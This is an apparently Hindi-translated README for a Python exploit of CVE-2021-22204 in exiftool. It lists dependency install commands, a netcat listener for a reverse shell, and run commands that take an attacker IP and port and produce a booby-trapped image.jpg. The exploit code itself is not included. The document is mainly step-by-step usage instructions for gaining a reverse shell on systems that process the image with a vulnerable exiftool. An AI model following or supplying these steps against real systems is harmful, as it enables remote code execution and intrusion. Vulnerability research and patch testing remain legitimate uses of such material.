CVE-2021-22204-exiftool

Exiftool में CVE-2021-22204 भेद्यता के लिए Python एक्सप्लॉइट।

वीडियो ट्यूटोरियल

Youtube

    404 notfound

आवश्यकताएँ

python3 python3-pip djvulibre-bin exiftool

आवश्यकताएँ स्थापित करें

Debian

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Ubuntu

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Arch Linux

    pacman -S djvulibre libimage-exiftool-perl python python-pip

Kali Linux

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Fedora

    dnf install djvulibre libimage-exiftool-perl python-minimal python-pip

OS X

    brew install djvulibre exiftool python

Raspbian

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

कैसे चलाएँ:

Python आवश्यकताएँ स्थापित करें

    sudo pip install -r requirements.txt

natcat के साथ रिवर्स शेल शुरू करें

    nc -nvlp 4444

निष्पादन अनुमति दें

    chmod +x exploit.py

प्रोग्राम चलाएँ

    python3 exploit.py {Your IP add adress} {Your Listening port} 
    

या

    ./exploit.py {Your IP add adress} {Your Listening port}

उदाहरण

    python3 exploit.py 192.168.0.1 4444
    

या

    ./exploit.py 192.168.0.1 4444

आउटपुट फ़ाइल का नाम है

    image.jpg
    

भेद्यता के बारे में

CVE-2021-22204 की खोज और रिपोर्ट William Bowling (@wcbowling) द्वारा की गई थी।

यह एक्सप्लॉइट CVE रिपोर्ट होने के बाद exiftool पैच का अध्ययन करके बनाया गया था।

और image.jpg भेद्यता को ट्रिगर करेगा जब इसे एक भेद्य exiftool के साथ खोला जाएगा।